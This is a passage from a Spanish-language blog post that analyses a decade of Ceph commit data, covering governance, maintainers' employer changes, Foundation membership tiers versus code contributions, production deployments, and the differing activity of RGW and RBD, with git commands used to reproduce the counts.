proyecto por completo. Los 38 asientos del Ceph Steering Committee por el empleador en la dirección listada de cada miembro, desde doc/governance.rst. La composición del comité sigue de cerca la distribución de commits. Merece la pena sacar dos detalles, y ambos dicen algo bueno.\nXSKY y ZTE todavía tienen asientos. Ninguna de las dos empresas ha hecho un commit desde 2020 — el último de Haomai Wang es de 2020-03-18, el de Xie Xingguo de 2020-07-24 tras 750 commits en la década. Ceph no los ha echado. Un proyecto que mantiene un asiento caliente para quienes construyeron gran parte de BlueStore y el OSD, años después de que su empleador se marchara, no es uno que trate a los contribuyentes como desechables.\nYehuda Sadeh se sienta en el comité con una dirección @ui.com. Escribió RADOS Gateway — la puerta S3 y Swift a RADOS, el Reliable Autonomic Distributed Object Store sobre el que se asienta todo lo demás en Ceph — empezando en DreamHost en 2008, pasando por Inktank, Red Hat e IBM: 972 commits solo en la década y miles antes. Todavía escribía código de cripto cephx en julio de 2025. Luego, en junio de 2026 hizo exactamente un commit, doc: governance/csc: update email address, cambiando su propia entrada a Ubiquiti. Cambió de empleador y conservó su asiento. Tu reputación viaja contigo aquí, y esa es una de las mejores cosas de trabajar en abierto.\nLos responsables de componente Los responsables de componente poseen cada subsistema en el día a día:\nComponente Qué es Responsable Empleador Cephadm Despliegue y gestión del clúster Adam King Red Hat CephFS El sistema de archivos POSIX Venky Shankar Red Hat Crimson El OSD de próxima generación Matan Breizman Red Hat Dashboard La interfaz web de gestión Afreen Misbah IBM RADOS El almacén de objetos sobre el que se asienta todo lo demás Radosław Zarzyński Red Hat RBD RADOS Block Device — discos virtuales Ilya Dryomov Red Hat RGW RADOS Gateway — la capa S3 y Swift Adam Emerson, Eric Ivancich Red Hat NVMe-oF Gateway de NVMe over Fabrics Aviv Caro IBM Seastore El backend de almacenamiento de Crimson Yingxin Cheng Intel Diez responsables con nombre, nueve en Red Hat o IBM, y Seastore — el backend de almacenamiento de Crimson — liderado desde Intel. Por encima de ellos se sienta el Executive Council de tres personas, creado cuando Sage Weil se fue: Dan van der Ster (Clyso), Neha Ojha (Red Hat), Patrick Donnelly (IBM). Clyso tiene un tercio del órgano de gobernanza superior con el 0,3 % de los commits de la década — el consejo se construyó alrededor del juicio y la reputación, no del número de cabezas.\nLos mantenedores se movieron, y el código se quedó El argumento más fuerte de que Ceph es un procomún real en vez del producto de una empresa es lo que pasa cuando sus mantenedores cambian de trabajo. Cada uno de estos es rastreable a través de direcciones en el repositorio:\nMantenedor (empleador actual) Trayectoria, según el log de git Último commit Igor Fedotov (croit) — BlueStore Mirantis (2015–17) → SUSE (2017–24) → croit (2021–) 2026-08-24 Kefu Chai (Proxmox) — core, build Red Hat (2015–22, 4 770 commits) → XSKY → Proxmox (2025–) 2026-08-18 Radosław Zarzyński (Red Hat) — responsable de RADOS Mirantis (2015–17) → Red Hat (2017–) 2026-06-16 Dan van der Ster (Clyso) — Executive Council CERN (2013–22) → Clyso (2023–) 2026-03-18 Zac Dover (Ceph Foundation) — documentación independiente → Clyso → Ceph Foundation 2026-07-23 Yehuda Sadeh (Ubiquiti) — autor de RGW DreamHost → Inktank → Red Hat → IBM → Ubiquiti 2026-06-08 Mark Nelson (Clyso) — rendimiento DreamHost → Inktank → Red Hat → Clyso 2024-04-16 Xuehan Xu (QiAnXin) — Crimson Qihoo 360 (2017–18) → QiAnXin (2021–) 2026 Tres empleadores cada uno, cuatro en algunos casos, y el trabajo continuó a través de cada movimiento. Igor Fedotov ha sobrevivido ya a dos de las estrategias de Ceph de sus empleadores y todavía mantiene el motor que pone tus bytes en disco. Así que la respuesta honesta a «¿qué pasa si un fabricante se va?» es esta: los ingenieros siguen adelante.\nQuién ejecuta Ceph de verdad Las contribuciones son solo la mitad. Aquí está quién dice en voz alta que ejecuta Ceph, con los números que publicaron ellos mismos.\nOrganización Despliegue declarado públicamente CERN, la Organización Europea para la Investigación Nuclear 19 clústeres de producción, ~73 PB en bruto, más 5 más en un nuevo centro de datos — la columna vertebral de almacenamiento bajo la nube de TI del CERN Bloomberg Almacenes de objetos de cientos de TB a más de 8 PB; añadieron 6 PB de capacidad en bruto en caliente, un aumento del 50 % a un clúster en línea, en menos de una hora Wikimedia Foundation Cinco clústeres Ceph de producción — bloque para Cloud VPS, S3 vía RGW multisitio, y CephFS para Airflow, Dumps y ML-Lab DigitalOcean Ceph impulsa su servicio Block Storage vía RBD, con «hundreds of enterprise-class SSDs» por región y replicación 3× entre servidores y racks OVHcloud «Persistent storage for virtual machines is ensured by Ceph RADOS Block Device» en su On-Prem Cloud Platform Proxmox Envía Ceph como la opción de almacenamiento hiperconvergido integrada en Proxmox VE El CERN merece una mirada más de cerca, porque es el relato público más detallado que nadie ha publicado. De una charla del servicio de TI del CERN de septiembre de 2024 por Enrico Bocchi:\nCeph del CERN, por aplicación Tamaño en bruto Clústeres Bloques — OpenStack Cinder/Glance, HDD réplica 3× 25,1 PB 5 Bloques — Flash, EC 4+2 976 TB 2 Sistema de archivos — OpenStack Manila, K8s/OKD, HPC, HDD réplica 3× 13,4 PB 5 Sistema de archivos — Flash, réplica 3× 1,7 PB 4 Objetos — S3, Swift, Backups, HDD EC 4+2 28,2 PB 2 Objetos — multisitio, EC 4+2 3,6 PB 1 EC 4+2 es erasure coding, cuatro fragmentos de datos a dos de paridad. HPC es computación de alto rendimiento, K8s es Kubernetes y OKD es su distribución de upstream. Las cifras son capacidad en bruto, antes de la sobrecarga de replicación y codificación.\nDiecinueve clústeres de producción, operados sobre el principio declarado «don\u0026rsquo;t put all your eggs in the same basket», con cinco más entrando en un nuevo centro de datos. La historia del servicio es un anuncio discreto del software: prueba de concepto de 300 TB en 2013, 3 PB en producción para RBD ya en diciembre, expansión de 3 PB a 6 PB sin interrupción en 2016, S3 y CephFS en producción en 2018, un clúster CephFS entero reubicado físicamente sin interrupción en 2022, RBD del kernel en producción en 2023.\nLo que sostiene en el CERN es la parte reveladora: GitLab, OpenStack, OpenShift, Kubernetes, Harbor, Jenkins, Grafana, Kafka, OpenSearch, InfluxDB, HTCondor, Slurm, Jupyter, Spark, Zenodo, Indico, y la virtualización de NFS, AFS y CVMFS. Ceph no es un experimento secundario ahí. Es el suelo sobre el que se sostiene el resto del edificio.\nY la cifra a escala de comunidad, del propio anuncio de la versión Squid de la Linux Foundation: 1 exabyte de datos en más de 3 000 clústeres Ceph.\nEse exabyte es un suelo, no un total Esta es la parte en la que merece la pena detenerse, porque cambia cómo lees cada número de adopción sobre Ceph.\nLa telemetría de Ceph es voluntaria. Solo se te cuenta si alguien ejecuta ceph telemetry on --license sharing-1-0. Todo el que nunca la ejecutó es invisible, y en la práctica eso es la mayoría de la gente, porque no es lo que viene por defecto y nada te da la lata con ello.\nAhora añade Proxmox. Proxmox VE envía Ceph como su opción de almacenamiento hiperconvergido: tres nodos, unos clics en la interfaz web, pveceph por debajo, y tienes un clúster Ceph. Un número muy grande de gente está ejecutando Ceph en producción sin pensar jamás en sí misma como usuaria de Ceph en absoluto. Son usuarios de Proxmox. Nunca se unieron a una lista de correo, nunca escribirán un testimonio, no han activado la telemetría, y no aparecen en ninguna de las tablas de arriba.\nCada pequeña empresa de hosting, proveedor de servicios gestionados, departamento universitario, homelab que se puso en producción calladamente y clúster de oficina de tres nodos en ese tramo es un despliegue Ceph real que ninguna cifra de este post cuenta. Lo mismo va para cualquiera que reciba Ceph a través de Rook en Kubernetes, o dentro de un appliance de fabricante que nunca dice qué hay bajo la tapa.\nAsí que 1 EB en 3 000 clústeres es el número de los clústeres que levantaron la mano. La base instalada real es bastante mayor y nadie sabe por cuánto. Ese es un sitio raro en el que estar para software de infraestructura — normalmente el fabricante lo sabe, porque tuviste que comprar una licencia — y es un resultado directo de que la cosa sea gratis.\n478 organizaciones han puesto código El log de commits sirve también como lista de quién ejecuta Ceph a escala, porque una empresa que envía parches es casi siempre una empresa que ejecuta la cosa. A lo largo de la década aparecen 478 dominios de correo organizacionales distintos, 140 de ellos con cinco commits o más.\nLos nombres, agrupados, solo del log de git:\nFabricantes de chips, discos y hardware: Intel, Samsung, Seagate, SanDisk, Western Digital, Quantum, Mellanox, Lenovo, Fujitsu, Hitachi, Nokia, Arm, Linaro, HiSilicon, Synology, 45Drives Nubes y hosts: DigitalOcean, OVH, IONOS, Akamai, Linode, Hetzner, Binero, City Network, iland, 11:11 Systems, Vexxhost, StackHPC, Canonical, Deutsche Telekom, China Telecom, China Unicom, China Mobile, Chunghwa Telecom Usuarios de internet y empresa: Bloomberg, eBay, GoDaddy, Flipkart, Wikimedia, Naver, LINE, Kakao, SK Telecom, Alibaba, Tencent, Baidu, ByteDance, Kuaishou, UnionPay, SenseTime, Sangfor, Micro Focus, MITRE, Igalia, Walmart Labs Fabricantes e integradores de almacenamiento: SUSE, Mirantis, XSKY, EasyStack, Inspur, UMCloud, Kylin, UnitedStack, H3C, Xtao, Eisoo, Cloudin, Istuary, ProphetStor, SoftIron, Bigtera, Cloudbase Solutions, Digiware, Bisect, 42on, croit, Clyso, Proxmox, DreamHost Investigación y educación: CERN, el Institute of Software de la Chinese Academy of Sciences (ISCAS), Pennsylvania State University, Boston University, la University of Michigan, Carnegie Mellon University, más los miembros Associate de la Foundation — FAS Research Computing en Harvard, la Greek Research and Technology Network (GRNET), Monash University, el South African Radio Astronomy Observatory (SARAO), el Science and Technology Facilities Council (STFC), SWITCH, SLAC en Stanford, y el Center for Research in Open Source Software (CROSS) en la UC Santa Cruz No todos esos están vigentes, y ese es el sentido de mirar una década. Muestra el arco completo de quién se ha apoyado en este software con la fuerza suficiente como para devolver parches, y lo ancho que ha sido ese abanico.\nLos actores que dicen respaldar Ceph, frente a lo que aportan La membresía por niveles de la Foundation es donde las empresas declaran apoyo. Los niveles no siguen la ingeniería, y la ilustración más clara viene de los tres miembros Diamond citados en el propio anuncio de la versión Ceph Squid de la Linux Foundation.\nMiembro Diamond Qué dijeron públicamente Commits, últimos 3 años IBM — Vincent Hsu, IBM Fellow, CTO y VP de IBM Storage «reinforce our trust in Ceph and our commitment to open source» 11 091 (con Red Hat) Bloomberg — Matthew Leonard, jefe de ingeniería de almacenamiento «Our Diamond Membership is a symbol of our commitment to the future of Ceph and its growing community» 220 45Drives — Doug Milburn, cofundador y presidente «our unwavering commitment to open-source excellence» 0 La declaración de IBM está respaldada por el mayor compromiso de ingeniería de la historia del proyecto, y más. La de Bloomberg está respaldada por 220 commits, un asiento en el Steering Committee, y un patrimonio de producción de 8 PB del que hablan abiertamente — una contribución seria por cualquier medida. 45Drives construye y vende appliances de hardware Ceph y financia la infraestructura compartida; eso también es una contribución genuina, y no es código.\nEl cuadro completo a lo largo de los niveles:\nMiembro Nivel Commits, últimos 3 años IBM Diamond 11 091 (con Red Hat) Bloomberg Diamond 220 CLYSO Diamond 153 45Drives Diamond 0 Western Digital Platinum 0 42on Gold 1 croit Silver 157 DigitalOcean Silver 13 Canonical Silver 9 OVHcloud, Sony, OSNexus, CloudFerro Silver 0 cada uno Y en la otra dirección — cuatro de los siete mayores contribuyentes no son miembros en absoluto:\nContribuyente Commits ¿Miembro? QiAnXin 597 No IONOS 498 No Intel 279 Ya no Proxmox 249 No Nivel de la Foundation frente a commits — el dinero y el código no tienen relación Lo que pagan, frente a lo que escribieron Nivel de la Ceph Foundation frente a commits a main, del 2023-08-27 al 2026-08-27 200 400 600 commits DIAMOND IBM, con Red Hat 11,091 Bloomberg 220 CLYSO 153 45Drives nada en absoluto PLATINUM Western Digital nada en absoluto GOLD 42on 1 SILVER croit 157 DigitalOcean 13 Canonical 9 otros seis miembros Silver nada en absoluto, los seis NO MIEMBROS QiAnXin 597 IONOS 498 Proxmox 249 Cafe Bazaar 118 Los seis miembros Silver a cero: OVHcloud, Sony Interactive Entertainment, OSNexus, CloudFerro, Intelligent Systems, LongVan. Dos de los cuatro miembros del nivel superior no escribieron nada. Los contribuyentes tercero y quinto de Ceph no son miembros en absoluto. Nivel de la Foundation frente a commits en los últimos tres años. El patrocinio y la ingeniería son contribuciones diferentes — los niveles miden la primera, no la segunda. No leo eso como hipocresía y preferiría que nadie más lo hiciera. El dinero de la Foundation paga el laboratorio de pruebas de upstream, la integración continua que controla cada pull request, la Cephalocon y el personal de comunidad — cosas sin las que Ceph no podría, y cosas que un fabricante de hardware que envía appliances Ceph hace bien en financiar. Western Digital, DigitalOcean y OVHcloud venden todos productos que se apoyan en Ceph, y pagan al procomún que lo mantiene en marcha. Eso es un trato justo.\nLa conclusión práctica es estrecha: lee la página de miembros como una lista de quién financia la infraestructura compartida, y el log de commits para saber quién escribe el código. Son preguntas distintas con respuestas distintas, y ambas respuestas son útiles.\nLos fundadores, ocho años después La Foundation se lanzó el 12 de noviembre de 2018. La lista está en el registro dos veces — el anuncio de la Linux Foundation y la copia de agencia — y coinciden exactamente: trece miembros Premier, diez General, ocho Associate.\nFrente a la página de miembros de hoy: cuatro de trece miembros Premier siguen listados bajo su propio nombre (Canonical, DigitalOcean, OVHcloud, Western Digital), cinco si cuentas a IBM como el asiento de Red Hat. Dos de diez miembros General siguen — croit e Intelligent Systems.\nY los ocho miembros Associate siguen ahí. Sus nombres completos, tal como los da el anuncio fundacional:\nBoston University Information Services and Technology CERN — la Organización Europea para la Investigación Nuclear FAS Research Computing, Harvard University The Greek Research and Technology Network (GRNET) Monash University, Melbourne The South African Radio Astronomy Observatory (SARAO) The Science and Technology Facilities Council (STFC) en UK Research and Innovation (UKRI) The Center for Research in Open Source Software (CROSS) en la University of California, Santa Cruz — donde Ceph se escribió en primer lugar, como el trabajo de doctorado de Sage Weil con Scott Brandt, Ethan Miller, Darrell Long y Carlos Maltzahn; el artículo original de 2006 todavía está alojado en ceph.io Ocho de ocho, a lo largo de ocho años.\nLos miembros de pago rotaron. Las universidades y laboratorios de investigación, que se unen sin coste, han aguantado ocho años sin que ninguno se fuera. Esos son quienes ejecutan Ceph a escala para la ciencia, y ninguno se ha marchado.\nLa documentación de Quincy todavía lleva la lista de miembros tal como estaba hacia 2022, que da el punto intermedio: doce de los veinticuatro miembros comerciales de esa instantánea se han ido desde entonces, exactamente la mitad. La cadencia de Ceph en ese periodo no cambió.\nSobre croit, ya que es mi empleador y uno de los supervivientes. croit GmbH se unió como miembro fundador General el primer día y sigue siendo miembro ocho años después — una racha más larga que la que lograron Intel, SUSE, ZTE, Arm o Samsung. También es el 0,3 % de los commits de la década. Quedarse no es lo mismo que construir, y no voy a disfrazar de contribución la longevidad de la empresa que me paga.\nEl manual es una persona, y la Foundation la paga La fila 7 de la tabla de la década es «Ceph Foundation», 691 commits. Eso es casi exactamente un hombre.\nZac Dover tiene 1 060 commits en la década, casi enteramente documentación. En los últimos tres años es el 28,4 % de todo lo que hay en doc/ — el mayor contribuyente individual, por delante tanto de Red Hat como de IBM. Su historial de direcciones va @gmail.com, luego @clyso.com, luego @proton.me, mapeado en los propios registros de Ceph a la Ceph Foundation.\ndoc/, últimos tres años Commits Cuota Ceph Foundation 499 28,4 % Sin empleador visible 383 21,8 % Red Hat 379 21,5 % IBM 333 18,9 % doc/ es el único directorio donde el mayor contribuyente individual no es ni Red Hat ni IBM, y se nota. El manual de Ceph es mejor que el que consigue la mayoría del software de infraestructura de este tamaño. Pagar a un redactor técnico que no responde ante ningún fabricante es lo más inteligente que hace la Foundation con el dinero.\nLos individuos todavía pueden mover la aguja Los mayores individuos de la década, agrupados por nombre de autor:\nPersona Commits en la década Empleador(es) Sage Weil 7 517 Red Hat — creador, se fue en 2022 Kefu Chai 5 538 Red Hat → Proxmox Casey Bodley 2 472 Red Hat Patrick Donnelly 2 330 Red Hat → IBM Jason Dillaman 1 629 Red Hat — se fue en 2021 Radosław Zarzyński 1 607 Mirantis → Red Hat Samuel Just 1 415 DreamHost → Inktank → Red Hat John Mulligan 1 300 Red Hat Yingxin Cheng 1 202 Intel Zac Dover 1 060 Ceph Foundation Yehuda Sadeh 972 Red Hat → IBM → Ubiquiti Alfredo Deza 930 Red Hat — se fue en 2019 Veintiuna personas escribieron la mitad de los commits de la década; noventa y una escribieron el 80 %. Eso es normal para una base de código grande en C++, y es también por qué los individuos cuentan tanto aquí.\nLa prueba más clara de que la puerta está abierta: el quinto puesto de los últimos tres años es un ingeniero de IONOS. Max Kellermann tiene 498 commits desde 2024 — más de los que lograron Intel, Proxmox, Bloomberg, croit o Clyso como empresas — a lo largo de src/mds, src/common, src/mon, src/tools, src/librbd, src/mgr y src/rgw. Es el 19,3 % de todo el trabajo de metadatos de CephFS en la ventana, solo por detrás de Red Hat.\nNadie lo nombró. Apareció y empezó a arreglar cosas, y tres años después es uno de los contribuyentes más ocupados de un proyecto dirigido por una empresa Fortune 50. Todavía puedes entrar en Ceph e importar.\nProxmox es la otra cara de la misma moneda: 249 commits en los últimos tres años, 241 de ellos de Kefu Chai desde el 30 de septiembre de 2025. Proxmox pasó de nada a contribuyente top-diez de Ceph en once meses contratando a un buen ingeniero.\nRGW: donde está de verdad el trabajo Si quieres saber a dónde va la ingeniería de Ceph, la respuesta es el almacenamiento de objetos, y la razón es simple: RGW tiene lo más lejos que ir antes de igualar a aquello con lo que compite.\nsrc/rgw es el mayor subsistema funcional de Ceph en la década — 6 958 commits, por delante de los 5 827 de Crimson, los 4 499 del OSD, los 3 848 del dashboard, los 2 560 de BlueStore y los 2 546 de CephFS. Es cuatro veces el tamaño del esfuerzo de la capa de bloques. En los últimos tres años se llevó 1 705 commits, solo por detrás de Crimson, y Crimson es una reescritura desde cero. En código de producción, RGW es el mayor programa de funciones en marcha del proyecto.\nEl S3 de Amazon es un objetivo en movimiento con una enorme superficie de API, y cada año le crecen funciones que los clientes luego esperan de cualquier cosa que se llame compatible con S3. Así que RGW lo persigue. Cuenta los últimos tres años de asuntos de commit de RGW por área de función y la forma de esa persecución es clara:\nTrabajo de RGW en los últimos 3 años Commits que lo mencionan Replicación multisitio 94 Cuentas 94 IAM — gestión de identidad y acceso 72 Política 71 Notificaciones de bucket 69 STS (credenciales temporales) 67 Topics 50 Roles 47 Restore 41 Gateway POSIX / sistema de archivos 40 Cifrado del lado del servidor (SSE) 38 Subida multiparte 32 Ciclo de vida 16 KMS — servicio de gestión de claves 12 S3 Select 11 Sumas de comprobación 11 Transición a la nube 10 Versionado, CORS, object lock, bucket logging, etiquetado 28 combinados (Recuentos de palabras clave sobre 1 705 asuntos de commit, así que un commit puede aparecer en más de una fila — el punto es la distribución, no un total preciso.)\nEso no es mantenimiento. Eso es cuentas de identidad, roles y políticas, tokens de sesión, notificaciones de bucket y topics, SSE-KMS, object lock, reglas de ciclo de vida, S3 Select, sumas de comprobación, tiering a la nube y replicación multisitio — la lista de funciones de AWS, construyéndose. Lee los asuntos recientes y encuentras trabajo de verificación de firmas SigV4, manejo de x-amz-content-sha256, URLs prefirmadas. Detalle de compatibilidad quisquilloso, del tipo que solo importa porque la librería cliente de alguien espera el comportamiento exacto de Amazon y se caerá sin él.\nEs también por qué RGW tiene la lista de contribuyentes más mezclada de los grandes subsistemas. A lo largo de la década Red Hat es el 64,3 % de ella, pero Bloomberg (8,6 % en la ventana reciente) y Cafe Bazaar (6,2 %) están también ahí — empresas que ejecutan grandes almacenes de objetos en producción, arreglando las cosas que les muerden.\nSi estás sopesando Ceph para trabajo de S3, este es el número que debería tranquilizarte. La distancia a Amazon es por qué RGW recibe más atención que nada más en el árbol, y el mayor esfuerzo de ingeniería individual del proyecto apunta a cerrarla.\nRBD: código estable, no un declive src/librbd es el dispositivo de bloque de Ceph — lo que usa Proxmox, lo que usa OpenStack Cinder, lo que usan la mayoría de los controladores Container Storage Interface de Kubernetes. Si ejecutas Ceph, probablemente ejecutas RBD. Su gráfico de commits tiene esta pinta:\nCommits de RBD por año — un componente que se asienta en mantenimiento Commits a\u0026#160;src/librbd, por año El dispositivo de bloque de Ceph — lo que usan Proxmox, OpenStack Cinder y casi todos los drivers CSI de Kubernetes 0 100 200 300 400 431 2015 477 2016 258 2017 276 2018 209 2019 455 2020 165 2021 85 2022 49 2023 74 2024 45 2025 19 2026 Trabajo de funciones prácticamente terminado Jason Dillaman escribió 281 de los 455 commits de 2020 — caché de escritura diferida persistente y cripto — luego RBD se asentó en mantenimiento. 2026 llega hasta el 27 de agosto. Esto no es declive — es un componente maduro que se mantiene en vez de reconstruirse. Commits a src/librbd por año. El grueso del trabajo de funciones terminó hacia 2020 — Jason Dillaman escribió 281 de los 455 commits de ese año, sobre la caché de escritura diferida persistente y la cripto — y el componente ha ido asentándose en mantenimiento desde entonces. 159 commits en los últimos tres años, alrededor de uno por semana, frente a 1 705 de RGW y 1 944 de Crimson.\nEso es lo que parece el código estable, y es una virtud. El almacenamiento de bloque sobre RADOS es un problema resuelto. RBD ha tenido instantáneas, clones, layering, mirroring, cifrado, migración en vivo y una caché persistente durante años, y no hay nada como la API de S3 corriendo por delante de él, porque lo que un hipervisor quiere de un dispositivo de bloque apenas ha cambiado en una década. El trabajo de funciones está hecho. Lo que queda es mantenimiento: arreglos de fallos, seguir el paso del kernel, la victoria de rendimiento ocasional.\nPonlo frente a RGW a propósito. RGW se lleva diez veces los commits porque tiene diez veces más camino que recorrer. RBD no, así que no. Un componente que ha dejado de cambiar de forma no es un componente yéndose a pique — y si librbd de repente se llevara 400 commits al año querría saber qué había ido mal, porque son mis discos de máquina virtual los que sostiene.\nLo único que merece saberse es que pone la experiencia en muy pocas cabezas. RBD es más o menos Ilya Dryomov, que cuida ambos extremos — el Ceph de upstream y el controlador rbd del kernel de Linux. Ese es más o menos el mejor montaje que hay, y sigue siendo de una persona de fondo. Lo que te dice a quién preguntar, no si desplegar.\nDónde se sitúa el trabajo El mismo mapeo a lo largo del árbol, la década y la ventana reciente lado a lado:\nÁrea Líder de la década Cuota Líder últimos 3 años Grupo IBM, últimos 3a src/mds — metadatos de CephFS Red Hat 78,5 % Red Hat 56,4 % 73,9 % src/osd — OSD actual Red Hat 69,7 % Red Hat 56,9 % 84,0 % src/cephadm — despliegue Red Hat 66,8 % Red Hat 73,7 % 92,0 % src/rgw — S3 Red Hat 64,3 % Red Hat 56,1 % 66,7 % src/librbd — bloque Red Hat 61,1 % Red Hat 76,7 % 83,0 % src/crimson — próximo OSD Red Hat 52,1 % Red Hat 42,0 % 45,4 % doc/ — el manual Red Hat 45,6 % Ceph Foundation 28,4 % 40,5 % src/os/bluestore — motor Red Hat 36,9 % IBM 46,5 % 54,2 % src/pybind/mgr/dashboard SUSE 36,6 % IBM 57,5 % 87,8 % Dos cosas que leer de esto. Propiedad: cuanto más cerca de las partes que un fabricante vende — herramientas de despliegue, la GUI — más es de una sola empresa; cuanto más lejos — el OSD de próxima generación, el motor de almacenamiento, el manual — más concurrido, y ahí es donde hay sitio si quieres contribuir en algo que aún no tenga dueño.\nVolumen: por commits totales en la década, el orden es RGW 6 958, Crimson 5 827, el OSD 4 499, el dashboard 3 848, los monitores 2 896, BlueStore 2 560, CephFS 2 546, RBD 1 750, cephadm 1 685. El esfuerzo sigue la distancia-a-terminar, no la cuota de despliegue. RGW es el primero porque la paridad con S3 está muy lejos; RBD está cerca del fondo porque el almacenamiento de bloque está terminado.\nBlueStore merece su propia línea. Es el motor que escribe tus bytes en disco, y en los últimos tres años el segundo mayor contribuyente tras IBM es croit con el 18,1 % — Igor Fedotov, su mantenedor principal, en una empresa de unas pocas docenas de personas. Mi empleador, así que pésame en consecuencia. El punto se sostiene firme quien firme su cheque: una empresa pequeña puede emplear al mantenedor de uno de los componentes más críticos para la seguridad de la pila, y el proyecto es mejor por ello.\nQuién tiene el botón de merge Conté también los merges — 7 893 en los últimos tres años, atribuidos a quien pulsó el botón:\nOrganización Merges Cuota Red Hat 3 892 49,3 % IBM 1 597 20,2 % Ceph Foundation 524 6,6 % Proxmox 202 2,6 % Intel 136 1,7 % croit 76 1,0 % 69,5 % de los merges frente al 68,6 % de los commits. La puerta y el trabajo tienen la misma forma. Esto no es una empresa escribiendo el código y otra controlando qué aterriza, que es el modo de fallo que de verdad merece preocupar en el código abierto corporativo. Ceph no lo tiene.\nDe dónde vienen los números Todo es reproducible. Ceph mantiene su propio mapeo de contribuyente-a-organización en el repositorio — .organizationmap, junto a .mailmap, .peoplemap y .githubmap — y documenta el comando para usarlo.\ngit clone --filter=blob:none --no-checkout https://github.com/ceph/ceph.git cd ceph git show HEAD:.organizationmap \u0026gt; /tmp/orgmap # Ceph\u0026#39;s own documented method, over the last ten years git log --no-merges --since=2016-08-27 --until=2026-08-27 --pretty=\u0026#39;%aN \u0026lt;%aE\u0026gt;\u0026#39; \\ | git -c mailmap.file=/tmp/orgmap check-mailmap --stdin \\ | sort | uniq -c | sort -rn | head -30 # the maintainer-to-employer mapping, straight from the repo git show HEAD:doc/governance.rst | sed -n \u0026#39;/^.. _csc:/,/^\\.\\. _ctl:/p\u0026#39; \\ | grep -oE \u0026#39;\\* [^\u0026lt;]+\u0026lt;[^\u0026gt;]+\u0026gt;\u0026#39; Ejecuta el primero y obtienes un IBM más pequeño que el mío, porque el mapa oficial está desactualizado. No conoce aainscow@uk.ibm.com, bill_scales@uk.ibm.com, ylifshit@ibm.com, rkachach@ibm.com, leonid.usov@ibm.com ni los hostnames generados por máquina li-*.ibm.com. Usar las propias herramientas del proyecto subestima la concentración.\nMis correcciones sobre el mapa:\nCualquier dirección que acabe en ibm.com — incluidas uk.ibm.com, il.ibm.com, in.ibm.com, de.ibm.com y las formas li-*.ibm.com — es IBM. redhat.com e inktank.com son Red Hat, mostradas por separado de IBM pero el mismo equipo desde octubre de 2022. Siete direcciones personales se atribuyen a empleadores donde el propio repositorio lo prueba: sage@newdream.net (Red Hat), idryomov@gmail.com (listada como idryomov@redhat.com en el propio doc/governance.rst de Ceph), max.kellermann@gmail.com (IONOS), xxhdx1985126@gmail.com (QiAnXin), yuvalif@yahoo.com (IBM), yingxincheng@gmail.com (Intel), shraddha.agrawal000@gmail.com (IBM). Todo lo demás conserva su dominio. Las direcciones personales se quedan como «sin empleador visible» en vez de adivinarse. Salvedades que no puedo arreglar. Los commits son una unidad tosca — una refactorización cuidadosa de 900 líneas cuenta una vez, cuarenta arreglos de erratas cuentan cuarenta, y aquí nada está ponderado. Los dominios de correo son imperfectos: el 9,0 % de la década no muestra empleador, y algunas de esas personas ciertamente cobran por escribir Ceph. La revisión es invisible en git — Ceph revisa en pull requests de GitHub, no en trailers Reviewed-by:, de los que encontré doce en tres años; la puerta más importante del proyecto no deja rastro en un clon. Las cifras son solo de main, así que los backports a ramas estables no se cuentan, lo que subestima el trabajo de mantenimiento. Y toda cifra de adopción aquí es un suelo, por la razón de la telemetría expuesta arriba.\nDonde una afirmación descansa en una fecha he usado la fecha de autor; donde descansa en el empleador de alguien, una dirección que publicó él mismo.\nLo que saco de esto Ceph es un proyecto financiado por empresas con una comunidad real alrededor de los bordes, y ha sido así toda su vida comercial. Eso no es una pulla. Alguien tiene que pagar a ingenieros para cuidar almacenamiento distribuido a esta escala, y durante diez años alguien lo ha hecho.\nNo pretenderé que Ceph es típico, porque lo comprobé. Las estadísticas de LWN para Linux 6.15 registran 2 068 desarrolladores de al menos 195 empleadores con la mayor empresa individual, Intel, en el 12,0 % de los changesets. Ceph son 1 718 personas en una década con una empresa en el 67,0 %. El kernel reparte su dependencia corporativa entre docenas de firmas. Ceph la mete en una. Esa es una diferencia real, y «todo el mundo hace esto» sería una forma perezosa de descartarla.\nPero aquí está lo que dicen diez años de datos sobre si eso importa, y es una respuesta mejor de la que fui a buscar:\nCeph es duro en la manera que cuenta. Perdió al hombre que lo escribió, que hacía una quinta parte del trabajo. Perdió a SUSE, su segundo mayor contribuyente y autor del dashboard. Perdió a ZTE, Mirantis, XSKY, EasyStack, Inspur y la mitad de los miembros fundadores de la Foundation. El ritmo de commits de hoy está a menos del dos por ciento del del año pasado. Veinte años de ingeniería de almacenamiento están en ese árbol bajo LGPL-2.1 o LGPL-3, y nadie puede cerrarlo, relicenciarlo ni recuperarlo.\nLos mantenedores son portables. Fedotov ha mantenido BlueStore en marcha a través de tres empleadores. Kefu Chai pasó de Red Hat a Proxmox y siguió adelante. Sadeh escribió RGW en DreamHost y cambió su dirección de comité a Ubiquiti este junio. Cuando una empresa se marcha, su gente a menudo se queda.\nLa puerta está bien abierta. Un ingeniero de IONOS se convirtió en el quinto mayor contribuyente en tres años. Proxmox entró en el top diez con una sola contratación. Una firma de seguridad sin producto de almacenamiento está construyendo una quinta parte del OSD de próxima generación. 478 organizaciones han enviado parches. Si quieres entrar, no te detiene nada más que el trabajo.\nLa base de usuarios es mucho mayor de lo que nadie puede medir. Un exabyte en 3 000 clústeres es lo que levantó la mano a través de la telemetría voluntaria, y el CERN por sí solo da cuenta de diecinueve clústeres de producción. Cada clúster Proxmox hiperconvergido, cada despliegue Rook, cada appliance de fabricante con Ceph bajo la tapa es uso real de producción que ninguna cifra publicada cuenta. Software tan ampliamente y tan calladamente desplegado no desaparece sin más.\nEl esfuerzo va donde está la brecha, no donde están los usuarios. RGW es el mayor programa del proyecto — 6 958 commits en la década — porque alcanzar a Amazon en S3 es una larga persecución contra un objetivo en movimiento. RBD está cerca del fondo porque el almacenamiento de bloque está hecho. Un recuento bajo de commits en un componente maduro es un trabajo terminado, no un aviso, y leer esos dos números al revés es el error más fácil que hay con datos como estos. Yo mismo lo cometí en la primera pasada.\nJuzga a los proveedores por commits, no por niveles. El historial es público y cuatro líneas de shell te mostrarán quién cuida de verdad la cosa de la que estás a punto de depender. El almacenamiento cerrado no te ofrece eso a ningún precio.\nAsí que si estás sopesando Ceph: la concentración merece conocerse cuando planificas a cinco años vista, y no es razón para contenerse. Una capa de bloques madura. El mayor esfuerzo de ingeniería del proyecto apuntado de lleno a la paridad con S3. Un futuro OSD construido por tres empresas a la vez. Un manual mejor que la mayoría. Una gobernanza que salió adelante tras perder a su fundador. Una década de revisión hecha en abierto, el trabajo de 